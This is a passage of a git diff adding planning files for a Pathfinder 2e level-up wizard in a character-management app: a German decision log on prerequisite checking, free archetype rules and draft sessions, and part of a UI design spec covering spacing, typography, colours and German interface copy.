- **Reverse-Level-Up** (bestätigtes Level rückgängig machen) — auf v2 verschoben (LVL-V2-02 in REQUIREMENTS)
|
||||
- **Variant-Class-Features** (z.B. Rogue Eldritch Trickster, Druid Wild Order Variants) — bei v2-Erweiterung mitnehmen, wenn Class-Scope ausgebaut wird
|
||||
- **Multi-Classing** — explizit Out-of-Scope (PF2e hat kein klassisches Multi-Class; Archetypes decken das funktional ab)
|
||||
- **Live-Recompute-Vorschau in jedem Wizard-Schritt** — verworfen zugunsten Review-only (Performance + Konsistenz)
|
||||
- **Remaster-Klassen** (Magus, Summoner, Kineticist, Thaumaturge, Gunslinger, Inventor, Psychic) — v2; Class-Scope v1 ist Core+APG
|
||||
|
||||
</deferred>
|
||||
|
||||
---
|
||||
|
||||
*Phase: 01-level-up-pf2e-regelkonform*
|
||||
*Context gathered: 2026-04-27*
|
||||
@@ -0,0 +1,196 @@
|
||||
# Phase 1: Level-Up (PF2e regelkonform) - Discussion Log
|
||||
|
||||
> **Audit trail only.** Do not use as input to planning, research, or execution agents.
|
||||
> Decisions are captured in CONTEXT.md — this log preserves the alternatives considered.
|
||||
|
||||
**Date:** 2026-04-27
|
||||
**Phase:** 01-level-up-pf2e-regelkonform
|
||||
**Areas discussed:** Prereq-DSL-Scope, Free-Archetype-Regel, Wizard-Flow + DRAFT, Klassen+Spellcaster-Daten
|
||||
|
||||
---
|
||||
|
||||
## Prereq-DSL-Scope
|
||||
|
||||
### Frage: Welche Prereq-Patterns soll der DSL-Evaluator automatisch prüfen?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Empfohlener Scope | Skill-Rang, Feat-Besitz, Level, Klasse, Ancestry, Heritage evaluierbar; Deity, Spellcasting-Tradition, Multi-Class, Free-Text → Warnung. ~80%+ Coverage | ✓ |
|
||||
| Minimal-Scope | Nur Skill-Rang + Level + Klasse | |
|
||||
| Maximal-Scope | Plus Attribut-Score, Spellcasting-Tradition, Deity-Kategorien | |
|
||||
|
||||
**Notes:** Empfehlung aus `.planning/research/SUMMARY.md` direkt akzeptiert.
|
||||
|
||||
### Frage: Wie soll die UI mit nicht-evaluierbaren Prereqs umgehen?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Inline-Warning + Confirm | Warn-Icon + Tooltip + Confirm-Dialog beim Wählen | ✓ |
|
||||
| Nur Inline-Warning | Warn-Icon ohne Confirm — Risiko Flüchtigkeitsfehler | |
|
||||
| Separater Tab "Manuell prüfen" | Eigene Liste, mehr Klicks | |
|
||||
|
||||
### Frage: Woher kommen die Prereq-Strings, die der DSL-Evaluator parst?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Bestehende Feat-Tabelle | `Feat.prerequisites: String?` existiert bereits in schema.prisma | ✓ |
|
||||
| Neue strukturierte Prereq-AST-Tabelle | Vor-geparstes AST-JSON pro Feat | |
|
||||
| Hybrid: Lazy Parse + Cache | In-Memory-Cache nach erstem Lookup | |
|
||||
|
||||
**Notes:** Bestehendes Feld macht Migration unnötig.
|
||||
|
||||
### Frage: Soll der Evaluator auch beim Pathbuilder-Import laufen?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Nein, nur im Wizard | Pathbuilder-Import bleibt unverändert | |
|
||||
| Ja, auch beim Import | Existierende Talente werden validiert | ✓ |
|
||||
|
||||
**Notes:** Abweichung vom Default-Vorschlag — User wollte explizit Import-Validation. Folge-Frage zur Behandlung der Verletzung.
|
||||
|
||||
### Frage: Was passiert beim Pathbuilder-Import bei Prereq-Verletzung?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Import + Warn-Liste | Charakter-Header zeigt Banner mit Liste | ✓ |
|
||||
| Import + Inline-Markierung | Pro Talent ein Icon, keine zentrale Liste | |
|
||||
| Block Import | Strikt — bricht bei jeder Inkonsistenz | |
|
||||
| Keine Anzeige (lautlos) | Nur intern geloggt | |
|
||||
|
||||
---
|
||||
|
||||
## Free-Archetype-Regel
|
||||
|
||||
### Frage: Wie soll der Free-Archetype-Slot nach gewählter Dedication funktionieren?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Pathbuilder-Verhalten | Nach Dedication beliebige Archetyp-Talente (Multi-Archetype) | ✓ |
|
||||
| Strikt nur gewählter Archetyp | RAW-strikt, bricht Multi-Archetype | |
|
||||
| Hybrid mit GM-Override | Default strikt, Toggle erlaubt mehr | |
|
||||
|
||||
**Notes:** Spike-flagged in ROADMAP — direkt entschieden zugunsten Pathbuilder, weil Gruppe das gewohnt ist.
|
||||
|
||||
### Frage: Wo wird der Free-Archetype-Toggle pro Charakter eingestellt?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Char-Settings + Wizard-Schritt 0 | Settings + Lese-Anzeige im Wizard | ✓ |
|
||||
| Nur Char-Settings | Schlanker, weniger transparent | |
|
||||
| Pro Level-Up neu wählbar | Inkonsistent mit RAW (FA ist Kampagnen-Variant) | |
|
||||
|
||||
### Frage: Wie soll mit Free-Archetype umgegangen werden bei Pathbuilder-Import?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Auto-detect aus Pathbuilder | Toggle automatisch basiert auf Pathbuilder-JSON | ✓ |
|
||||
| Manuell setzen nach Import | Toggle bleibt inaktiv, Spieler aktiviert | |
|
||||
| Wizard fragt beim ersten Level-Up | Einmalige Wizard-Frage | |
|
||||
|
||||
---
|
||||
|
||||
## Wizard-Flow + DRAFT
|
||||
|
||||
### Frage: Wie soll der Wizard-Flow strukturiert sein?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Step-by-Step Modal | Sequenzielle Schritte, mobile-friendly | ✓ |
|
||||
| Single-Page mit Akkordeons | Alles auf einer Seite, Mobile-Scroll | |
|
||||
| Tab-basiert | Frei wechseln, kein klarer Fortschritt | |
|
||||
|
||||
### Frage: Wo wird der DRAFT-State persistiert?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Server-DRAFT-Session | Neue Prisma-Tabelle `LevelUpSession`, Cross-Device | ✓ |
|
||||
| Client-State (Zustand) | Reload → alles weg | |
|
||||
| LocalStorage | Resume nach Reload, kein Cross-Device | |
|
||||
|
||||
### Frage: Soll der Wizard eine Live-Vorschau der neuen Werte anzeigen?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Live-Vorschau im Review-Schritt | Vorher/Nachher gegenübergestellt am Ende | ✓ |
|
||||
| Live-Vorschau in jedem Schritt | Per-PATCH-Recompute, Performance-Cost | |
|
||||
| Nur nach Commit sichtbar | Schlankste Implementierung | |
|
||||
|
||||
### Frage: Wer darf den Level-Up-Wizard für einen Charakter öffnen?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Spieler (Owner) + GM | Konsistent mit checkCharacterAccess | ✓ |
|
||||
| Nur Spieler (Owner) | GM kann nicht für abwesende Spieler leveln | |
|
||||
| Nur GM | Kein selbstständiges Spieler-Leveln | |
|
||||
|
||||
### Frage: Was passiert mit einer offenen DRAFT-Session ohne Commit?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Bleibt unbegrenzt offen | UI bietet "fortsetzen oder verwerfen?" | ✓ |
|
||||
| TTL 24h, dann auto-löschen | Aufgeräumte DB, Risiko Datenverlust | |
|
||||
| TTL 7 Tage | Mittelweg | |
|
||||
|
||||
---
|
||||
|
||||
## Klassen+Spellcaster-Daten
|
||||
|
||||
### Frage: Woher kommen die Per-Class-Progression-Tabellen?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Neue ClassProgression-Tabelle + JSON-Seed | Konsistent mit "alle PF2e-Daten in DB" | ✓ |
|
||||
| Hardcoded TS-Konstanten | Widerspricht Projekt-Regel | |
|
||||
| Lazy aus Pathbuilder ableiten | Nicht regelkonform für neue Stufen | |
|
||||
|
||||
### Frage: Welche PF2e-Klassen werden in v1 unterstützt?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Alle Core- + APG-Klassen | 16 Klassen, ~95% Coverage | ✓ |
|
||||
| Nur die Klassen, die eure Gruppe spielt | Schmaler Scope | |
|
||||
| Alle Klassen aus PC1 + PC2 (Remaster) | Mehr Klassen, mehr Seed-Aufwand | |
|
||||
|
||||
### Frage: Welche PF2e-Datenquelle für den Class-Progression-Seed?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Foundry PF2e-System Open Data | Aktiv gepflegt, ORC-lizenziert | ✓ |
|
||||
| Manuell aus Archives of Nethys | Volle Kontrolle, sehr aufwendig | |
|
||||
| Open5e / pf2e-data NPM-Paket | Oft unvollständig | |
|
||||
|
||||
### Frage: Wie wird der Spellcaster-Repertoire-Increment-Schritt präsentiert?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Eigener Wizard-Schritt | Klar separiert von Slot-Increment | ✓ |
|
||||
| Inline in Spellcaster-Schritt | Kompakter, weniger klar | |
|
||||
| Später im Charakterbogen | Charakter nach Commit nicht "fertig" | |
|
||||
|
||||
### Frage: Wie sollen Wahl-Klassenmerkmale (Doctrine, Schule, Weapon Mastery) gehandhabt werden?
|
||||
|
||||
| Option | Beschreibung | Selected |
|
||||
|--------|--------------|----------|
|
||||
| Wizard erkennt + zeigt Sub-Schritt | Volle Regelkonformität, Charakter "fertig" | ✓ |
|
||||
| Erst nach Commit füllen | Spieler vergisst es vielleicht | |
|
||||
| Nur Anzeige + manuelle Notiz | Kein strukturiertes Datenmodell | |
|
||||
|
||||
---
|
||||
|
||||
## Claude's Discretion
|
||||
|
||||
- UI-Layout-Details des Step-by-Step-Modals (Header, Footer, Progress-Indicator)
|
||||
- Spaltenstruktur des Review-Schritts (Tabelle vs. zwei Spalten)
|
||||
- DRAFT-API-Endpoint-Naming
|
||||
- JSON-Format des Snapshot-Vorher
|
||||
- Genaue deutsche Error-Messages
|
||||
- Test-Granularität jenseits der Kern-Funktionen
|
||||
|
||||
## Deferred Ideas
|
||||
|
||||
- Level-up-Historie-Ansicht (LVL-V2-01)
|
||||
- Reverse-Level-Up (LVL-V2-02)
|
||||
- Variant-Class-Features (Rogue Eldritch Trickster etc.)
|
||||
- Multi-Classing (out of scope)
|
||||
- Live-Recompute pro Schritt (verworfen)
|
||||
- Remaster-Klassen (PC1+PC2)
|
||||
1091
.planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md
Normal file
1091
.planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md
Normal file
File diff suppressed because it is too large
Load Diff
1123
.planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md
Normal file
1123
.planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md
Normal file
File diff suppressed because it is too large
Load Diff
774
.planning/phases/01-level-up-pf2e-regelkonform/01-UI-SPEC.md
Normal file
774
.planning/phases/01-level-up-pf2e-regelkonform/01-UI-SPEC.md
Normal file
@@ -0,0 +1,774 @@
|
||||
---
|
||||
phase: 1
|
||||
slug: level-up-pf2e-regelkonform
|
||||
status: approved
|
||||
shadcn_initialized: false
|
||||
preset: none
|
||||
created: 2026-04-27
|
||||
revised: 2026-04-27
|
||||
reviewed_at: 2026-04-27
|
||||
---
|
||||
|
||||
# Phase 1 — UI Design Contract
|
||||
|
||||
> Visual and interaction contract for the Level-Up Wizard. Generated by gsd-ui-researcher,
|
||||
> verified by gsd-ui-checker.
|
||||
>
|
||||
> Most decisions are inherited from CONTEXT.md, the project's existing design tokens
|
||||
> (`client/src/index.css`), and the established modal/component patterns in
|
||||
> `client/src/features/characters/components/`. Where CONTEXT.md locks a behavior,
|
||||
> the relevant `D-XX` decision ID is referenced inline.
|
||||
|
||||
---
|
||||
|
||||
## Design System
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Tool | none (hand-built primitives) |
|
||||
| Preset | not applicable |
|
||||
| Component library | hand-built shadcn-style primitives in `client/src/shared/components/ui/` (`Button`, `Input`, `Card`, `Spinner`, `ActionIcon`); reused for the wizard. |
|
||||
| Icon library | `lucide-react` 0.562.0 (`ChevronLeft`, `ChevronRight`, `X`, `AlertTriangle`, `Sparkles`, `Swords`, `Star`, `BookOpen`, `Shield`, `Heart`, `Eye`, `Footprints`, `Wand2`, `Check`, `Lock`, `Info`, `RotateCcw`, `Minus`, `Plus`, `Trash2`, `ArrowLeft`) — never emojis (CLAUDE.md). |
|
||||
| Font | Inter (sans), JetBrains Mono (mono) — declared in `--font-sans`, `--font-mono` (`client/src/index.css:66-67`). |
|
||||
| Theme | Tailwind v4 `@theme` block in `client/src/index.css`. All tokens already exist; UI-SPEC adds **no new tokens**. |
|
||||
| Animation lib | Framer Motion 12.26.2 is installed but unused today. Phase 1 introduces it for the wizard step transition (see "Motion" section). |
|
||||
|
||||
---
|
||||
|
||||
## Spacing Scale
|
||||
|
||||
Declared values (all multiples of 4, all already present in Tailwind v4 default scale used by the codebase):
|
||||
|
||||
| Token | Value | Usage in Phase 1 |
|
||||
|-------|-------|-------------------|
|
||||
| xs | 4px (`p-1`, `gap-1`) | Icon gap inside choice-card chips, badge padding |
|
||||
| sm | 8px (`p-2`, `gap-2`) | Stepper-dot gap, footer button gap, badge stacks |
|
||||
| md | 16px (`p-4`, `gap-4`) | Wizard body padding (mobile), step-section padding, choice-card inner padding |
|
||||
| lg | 24px (`p-6`, `gap-6`) | Wizard body padding (`sm:` desktop), Review-step section padding |
|
||||
| xl | 32px (`p-8`) | Reserved for review-step major section breaks on desktop |
|
||||
| 2xl | 48px | Not used in Phase 1 |
|
||||
| 3xl | 64px | Not used in Phase 1 |
|
||||
|
||||
Touch-target minimums (mobile-first, CLAUDE.md):
|
||||
|
||||
- All interactive buttons: 44px height minimum — `h-11` (`Button` `default`), `h-11 w-11` (`Button` `icon`).
|
||||
- Choice-cards: minimum 64px tap height (so an entire card is a single touch target including its title row + meta row — exceeds 44px).
|
||||
- Boost-step `+/-` controls: `h-11 w-11` (44×44px) — see Boost-Step contract.
|
||||
- Stepper-dot buttons: visible dot is `h-2 w-2` / `h-2.5 w-2.5` but the wrapping `<button>` is `h-11 w-11` with `-m-1` to keep the visual gap at 8–12px while the hit-zone is a genuine 44×44 — see Stepper subsection for the honest math.
|
||||
|
||||
**Exceptions (micro-utilities for inline chip / badge / icon-stack patterns only — NOT promoted to the layout grid):**
|
||||
|
||||
- Chip / badge padding: `px-1.5 py-0.5` (6×2px) — used inside source-tag badges, source-cap chips, level chips, delta chips. These are inline glyph-sized elements, never standalone surfaces.
|
||||
- Inline icon offset: `mt-0.5` (2px) — used to optically align an icon's baseline with its sibling text on chip/banner heads (e.g. `RotateCcw` in DRAFT-resume banner, `AlertTriangle` in violations banner).
|
||||
- Footer button gap: `gap-3` (12px) — used in the dialog footer row only when two buttons sit at the right edge with a clear visual separation; layout-grid gaps remain on the 4/8/16/24 ladder.
|
||||
|
||||
These micro-values stay as Tailwind utilities and never appear on layout-level surfaces (modals, cards, sections, body padding).
|
||||
|
||||
---
|
||||
|
||||
## Typography
|
||||
|
||||
The codebase has no custom font-size tokens — sizes come from Tailwind defaults. Phase 1 declares **4 sizes** (12 / 14 / 18 / 24) and **2 weights** to satisfy the 3-4-size, 2-weight contract.
|
||||
|
||||
| Role | Size | Tailwind class | Weight | Line Height | Usage |
|
||||
|------|------|----------------|--------|-------------|-------|
|
||||
| Auxiliary / Chrome | 12px | `text-xs` | 400 (`font-normal`); 600 (`font-semibold`) inside chips | 1.4 | Stepper labels (current/completed), meta-row chips on choice-cards (level, source, rarity, cap-erreicht, action-cost), banner sub-lines (`Zuletzt bearbeitet …`), card sub-lines (English-name under German-name), positive/negative delta chips in Review, footer help text in Boost-step. Two weights coexist within this size: chip *labels* (e.g. badge text) are 600; banner sub-lines and English-name fallbacks are 400. |
|
||||
| Body | 14px | `text-sm` | 400 (`font-normal`) | 1.5 (`leading-normal`) | Choice-card descriptions, prereq text, banner body, dialog body, tooltip body, Spellcaster info-strip body, Skill-row text. |
|
||||
| Label | 14px | `text-sm` | 600 (`font-semibold`) | 1.4 | Choice-card titles, step-section labels, button labels, banner headings, dialog headings (when ≤ `text-base`). |
|
||||
| Heading | 18px | `text-lg` | 600 (`font-semibold`) | 1.3 | Wizard header title (`Stufenaufstieg — Stufe X`), step-screen heading (`Boost setzen`, `Klassentalent wählen`, …), modal H2. |
|
||||
| Display | 24px | `text-2xl` | 600 (`font-semibold`) | 1.2 | Review-step "before/after" stat numbers (HP-Max, AC, DC, Wahrnehmung, Saves) in `font-mono`. |
|
||||
|
||||
Total: **4 sizes** (12 / 14 / 18 / 24) — within the 3-4-size limit. **2 weights**: 400 (normal) and 600 (semibold). No `font-medium` (500), no `font-bold` (700).
|
||||
|
||||
This matches the existing `add-condition-modal.tsx`, `rest-modal.tsx`, `add-feat-modal.tsx` patterns (`text-lg font-semibold` for headers, `text-sm` for body, `text-xs` for chips).
|
||||
|
||||
Mono font (JetBrains Mono) is reserved for stat numbers and dice notation in the Review step (`font-mono`).
|
||||
|
||||
---
|
||||
|
||||
## Color
|
||||
|
||||
The 60/30/10 split maps directly to existing tokens in `client/src/index.css`:
|
||||
|
||||
| Role | Value | Token | Usage |
|
||||
|------|-------|-------|-------|
|
||||
| Dominant (60%) | `#0f0f12` | `bg-bg-primary` | Page background behind the wizard backdrop |
|
||||
| Secondary (30%) | `#1a1a1f` / `#242429` | `bg-bg-secondary` (modal panel), `bg-bg-tertiary` (choice-cards, info-strips, stepper rail) | Wizard surface, choice-card surfaces, step-section containers, stepper inactive state |
|
||||
| Accent (10%) | `#c26dbc` | `primary-500` (`text-primary-500`, `bg-primary-500`, `border-primary-500`) | **EXACTLY** these elements only (see reserved-for list below) |
|
||||
| Destructive | `#ef4444` | `error-500` (`text-error-500`, `bg-error-500`) | "Verwerfen" (DRAFT discard) confirm-dialog button only — **not** generic cancel surfaces. |
|
||||
|
||||
Accent reserved-for list (the only places `primary-500` may be applied in this phase):
|
||||
|
||||
1. **Primary CTA buttons in the wizard footer**: `Weiter`, `Bestätigen`, `Zurück zur Übersicht` (after `Ändern` in Review) — `Button variant="default"` (which is `bg-primary-500`).
|
||||
2. **Active stepper dot**: the dot for the current step uses `bg-primary-500`; completed dots use `bg-primary-500/40`; future dots use `bg-bg-tertiary`.
|
||||
3. **Selected choice-card border + checkmark**: the chosen card (boost target, talent, skill, doctrine, …) gets `border-primary-500 ring-1 ring-primary-500/40`, and a `Check` icon in `text-primary-500` appears in the top-right corner.
|
||||
4. **DRAFT-resume banner accent stripe and the "Fortsetzen" button**: the resume banner has a left-border `border-l-4 border-primary-500`, body text `text-text-primary`, and the "Fortsetzen" CTA is `Button variant="default"`.
|
||||
5. **"Stufe steigen"-Button on the character-sheet header** (when enabled — i.e. character is below cap and no foreign DRAFT exists): `Button variant="default"` with `Sparkles` icon.
|
||||
6. **`Ändern` link in Review-step Section A**: `text-xs text-primary-500 hover:underline` — the only inline-link use of accent in the wizard.
|
||||
|
||||
`primary-500` is **never** used for: choice-card backgrounds (those stay `bg-bg-tertiary`), step-headings (those use `text-text-primary`), tab/section dividers (`border-border`), tooltip backgrounds, banner backgrounds.
|
||||
|
||||
Semantic color usage (already established by existing modals — `rest-modal.tsx` is the canonical reference):
|
||||
|
||||
| Semantic | Token | Reserved For |
|
||||
|----------|-------|--------------|
|
||||
| Warning (`#f59e0b`, `warning-500` / `yellow-400`) | `text-warning-500` `bg-warning-500/10` `border-warning-500/20` | (a) `AlertTriangle` icon at the top-right of any **choice-card whose prereq is non-evaluable** (D-03). (b) Pathbuilder-import-violation banner background (D-06). (c) "Cap erreicht" indicator on a skill that cannot be increased further. (d) "+1 (Cap bei 18)" chip in Boost-step. |
|
||||
| Error (`#ef4444`, `error-500` / `red-400`) | `text-error-500` `bg-error-500/10` `border-error-500/20` | (a) "Verwerfen" button in the DRAFT-resume banner and the destructive-confirm dialog. (b) Inline form-validation errors (e.g. boost target invalid). |
|
||||
| Success (`#22c55e`, `success-500` / `green-400`) | `text-success-500` | Checkmarks in completed stepper dots; "+X HP", "+1 Save" deltas in the Review step (positive change). |
|
||||
| Info (`#3b82f6`, `info-500` / `blue-400`) | `text-info-500` `bg-info-500/10` | Read-only info strips in the wizard (e.g. "Free Archetype: aktiv", "Spellcaster-Slot +1 (automatisch)"). |
|
||||
|
||||
### Inherited Exceptions — Source-tag chroma palette
|
||||
|
||||
The 6 raw-hue source badges below are an **inherited convention** from `feat-detail-modal.tsx:22-29` (existing `featSourceColors` map) and are intentionally exempt from the single-accent rule. They are used **only for talent-source identification badges** in the meta row of choice-cards — never for layout, surfaces, banner backgrounds, CTAs, or interactive accents. The selection accent (`primary-500`) remains the only interactive accent across the wizard.
|
||||
|
||||
| Source | Token classes |
|
||||
|--------|---------------|
|
||||
| Klassentalent | `bg-red-500/20 text-red-400` |
|
||||
| Abstammungstalent | `bg-blue-500/20 text-blue-400` |
|
||||
| Allgemeines Talent | `bg-yellow-500/20 text-yellow-400` |
|
||||
| Fertigkeitstalent | `bg-green-500/20 text-green-400` |
|
||||
| Archetypentalent | `bg-purple-500/20 text-purple-400` |
|
||||
| Bonustalent | `bg-cyan-500/20 text-cyan-400` |
|
||||
|
||||
---
|
||||
|
||||
## Copywriting Contract
|
||||
|
||||
All copy is **German** (CLAUDE.md / PROJECT.md). German imperative tone, du-Form, no emojis, no exclamation marks except in genuine warnings.
|
||||
|
||||
### Primary CTAs
|
||||
|
||||
| Element | Copy |
|
||||
|---------|------|
|
||||
| Character-sheet button to start the wizard | `Stufe steigen` (icon: `Sparkles`) |
|
||||
| Wizard footer — go to next step | `Weiter` (icon: `ChevronRight` on right) |
|
||||
| Wizard footer — go to previous step | `Zurück` (icon: `ChevronLeft` on left, `Button variant="outline"`) |
|
||||
| Wizard footer — final commit on Review step | `Bestätigen` (replaces `Weiter`; icon: `Check` on right) |
|
||||
| Wizard footer — return-to-Review after `Ändern` revision | `Zurück zur Übersicht` (icon: `ArrowLeft` on left, `Button variant="default"`, replaces `Weiter` while user is revising a step entered via `Ändern` from Review — see Review-step contract for re-validation behavior) |
|
||||
| Choice-card click result label | `Wählen` (only used inside the prereq-confirm dialog as "Trotzdem wählen") |
|
||||
| Stepper progress label (always visible — mobile and desktop) | `Schritt {n} von {m} — {currentStepLabel}` (e.g. `Schritt 3 von 7 — Klassentalent`) |
|
||||
| Confirm-dialog secondary action (cancel within a destructive-confirm dialog only) | `Abbrechen` (`Button variant="ghost"`) — used **only inside** the destructive/prereq confirm dialogs. The wizard footer itself has no `Abbrechen` button; mid-flow exit happens via the header `X` close button or backdrop click. |
|
||||
|
||||
### Wizard-step screen headings (one per step, `text-lg font-semibold`)
|
||||
|
||||
| Step | Heading | Sub-line (`text-sm text-text-secondary`) |
|
||||
|------|---------|--------------------------------------------|
|
||||
| 0 — Klassenmerkmale (auto) | `Klassenmerkmale auf Stufe {N}` | `Diese Merkmale werden automatisch übernommen.` |
|
||||
| 0a — Klassenmerkmal-Wahl (`choiceType`) | `{Merkmalname} wählen` (z.B. `Lehre wählen`, `Schule wählen`, `Waffenmeisterschaft wählen`) | `Wähle eine Option — diese Wahl ist endgültig nach Bestätigung.` |
|
||||
| 1 — Boost-Set | `Attributs-Boosts setzen` | `Wähle vier verschiedene Attribute. Werte über 18 erhalten +1, sonst +2.` |
|
||||
| 2 — Skill-Increase | `Fertigkeits-Erhöhung` | `Wähle eine Fertigkeit, um sie um eine Stufe zu erhöhen.` |
|
||||
| 3 — Klassentalent | `Klassentalent wählen` | `Talente, deren Voraussetzungen du erfüllst.` |
|
||||
| 4 — Fertigkeitstalent | `Fertigkeitstalent wählen` | `Talente, deren Voraussetzungen du erfüllst.` |
|
||||
| 5 — Allgemein-Talent | `Allgemeines Talent wählen` | `Allgemein- oder Fertigkeitstalente sind erlaubt.` |
|
||||
| 6 — Ancestry-Talent | `Abstammungstalent wählen` | `Talente deiner Abstammung und deines Erbes.` |
|
||||
| 7 — Free-Archetype-Slot | `Archetypentalent (Free Archetype)` | (vor Dedication) `Wähle eine Dedication.` / (nach Dedication) `Talente jedes Archetyps sind erlaubt (Pathbuilder-Verhalten).` |
|
||||
| 8 — Spellcaster | `Zauberprogression` | (spontan) `Repertoire um {N} Zauber erweitern.` / (vorbereitet) `Slot-Erhöhung wird automatisch angewendet.` |
|
||||
| 9 — Review | `Übersicht & Bestätigen` | `Vergleiche Vorher/Nachher. Erst nach „Bestätigen" wird der Charakter geändert.` |
|
||||
|
||||
### Empty / Loading / Error states
|
||||
|
||||
| State | Copy |
|
||||
|-------|------|
|
||||
| Loading talent list (Spinner + label) | `Talente werden geladen …` |
|
||||
| Loading any list (boost options, skills, formulas) | `Wird geladen …` |
|
||||
| Empty: no talents meet prerequisites at this slot | Heading: `Keine erfüllbaren Talente gefunden` — Body: `Alle Talente dieser Kategorie haben Voraussetzungen, die du derzeit nicht erfüllst. Du kannst trotzdem ein Talent mit Warnung wählen — aktiviere "Auch nicht erfüllbare anzeigen".` (toggle button text: `Auch nicht erfüllbare anzeigen` / `Nur erfüllbare anzeigen`). |
|
||||
| Empty: no skills can be increased (cap at all) | Heading: `Keine Fertigkeit erhöhbar` — Body: `Alle Fertigkeiten haben das für deine Stufe erlaubte Maximum erreicht. Diesen Schritt überspringen?` (button: `Schritt überspringen`). |
|
||||
| Empty: no spells available for repertoire (impossible at L2+, but defensive) | `Keine Zauber verfügbar.` |
|
||||
| Error: API failure during step (e.g. talent search) | Heading: `Talente konnten nicht geladen werden` — Body: `Versuche es erneut oder wähle ein anderes Filter.` — Action: `Erneut versuchen` (`Button variant="outline"`). |
|
||||
| Error: commit transaction failed (rollback) | Heading: `Stufenaufstieg konnte nicht gespeichert werden` — Body: `Deine Wahlen sind sicher als Entwurf gespeichert. Bitte versuche es erneut. Wenn der Fehler bleibt, lade die Seite neu.` — Action: `Erneut versuchen` (`Button variant="default"`) + `Schließen` (`Button variant="ghost"`). DRAFT bleibt erhalten. |
|
||||
| Error: prereq evaluator returns "non-evaluable" | (Inline am Talent — kein eigener State; siehe Prereq-Confirm-Dialog) |
|
||||
| Review revalidation after `Ändern` cleared a later choice | Inline note in the affected Review row: `Diese Wahl wurde durch eine frühere Änderung zurückgesetzt — bitte erneut treffen.` (`text-xs text-warning-500`) — the row's `Ändern` link is replaced by `Wählen` (`text-xs text-primary-500`) which jumps directly to that step. |
|
||||
|
||||
### Destructive confirmations
|
||||
|
||||
| Action | Trigger | Confirm-Dialog |
|
||||
|--------|---------|----------------|
|
||||
| **DRAFT verwerfen** | Click `Verwerfen` in DRAFT-resume banner (D-14) | Heading: `Entwurf verwerfen?` — Body: `Deine bisherigen Wahlen für Stufe {N} werden gelöscht. Diese Aktion kann nicht rückgängig gemacht werden.` — Buttons: `Abbrechen` (ghost) + `Verwerfen` (`destructive`, `Trash2` icon). |
|
||||
| **Wizard mid-flow abbrechen** mit ungesicherten Änderungen | Click X (close) in header or backdrop click after at least one choice was made | Heading: `Wizard abbrechen?` — Body: `Deine bisherigen Wahlen werden als Entwurf gespeichert und du kannst später fortsetzen.` — Buttons: `Weiter bearbeiten` (default) + `Als Entwurf speichern und schließen` (outline). **Note:** discard is NOT offered here — only commit-or-save. Discard happens only via the resume-banner "Verwerfen". |
|
||||
| **Talent mit nicht erfüllter Voraussetzung wählen** (D-03) | Click `Wählen` on a choice-card that carries the yellow `AlertTriangle` (non-evaluable prereq) | Heading: `Voraussetzung nicht prüfbar` — Body: `Voraussetzung: „{prereqText}". Dimension47 kann diese Bedingung nicht automatisch prüfen. Erfüllst du sie?` — Buttons: `Abbrechen` (ghost) + `Trotzdem wählen` (`Button variant="default"`, no destructive coloring — this is informed user choice, not a destructive op). |
|
||||
| **Bestätigen (Final Commit)** in Review step | Click `Bestätigen` | No additional dialog — the Review step IS the confirmation surface. The button is `Button variant="default"` with `isLoading` spinner during commit. After success: wizard closes with a 2-second toast `Stufenaufstieg bestätigt — Stufe {N}.` (info-tone, `bg-success-500/10`). |
|
||||
|
||||
### Banner copy (D-06: Pathbuilder-Import-Violations)
|
||||
|
||||
Position: directly below the character-sheet header, above the tab navigation. Background `bg-warning-500/10`, border `border-l-4 border-warning-500`, padding `p-4`.
|
||||
|
||||
- Heading (`text-sm font-semibold text-warning-500`): `{N} Talente mit nicht erfüllter Voraussetzung`
|
||||
- Body (`text-sm text-text-secondary`): `Beim Import wurde festgestellt, dass folgende Talente Voraussetzungen haben, die der Charakter nicht erfüllt. Liste prüfen und ggf. nachträglich anpassen.`
|
||||
- Action: `Liste anzeigen` (`Button variant="ghost"` size sm, expand-collapse — when expanded, shows a `<ul>` of `{TalentName} — Voraussetzung: {prereqText}` items).
|
||||
- Dismiss: not dismissible (the banner stays until the violations are resolved by GM/Player editing — Phase 1 ships read-only listing only; resolution UI is out of scope, deferred to v2 retrain).
|
||||
|
||||
### Banner copy (D-14: DRAFT-Resume-Banner)
|
||||
|
||||
Position: at the top of the character-sheet page (above the avatar header) AND inside the wizard if user clicks "Stufe steigen" while a DRAFT exists. Background `bg-bg-tertiary`, border `border-l-4 border-primary-500`, padding `p-4`.
|
||||
|
||||
- Heading (`text-sm font-semibold text-text-primary`): `Du hast eine offene Stufenaufstiegs-Session — Stufe {N}.`
|
||||
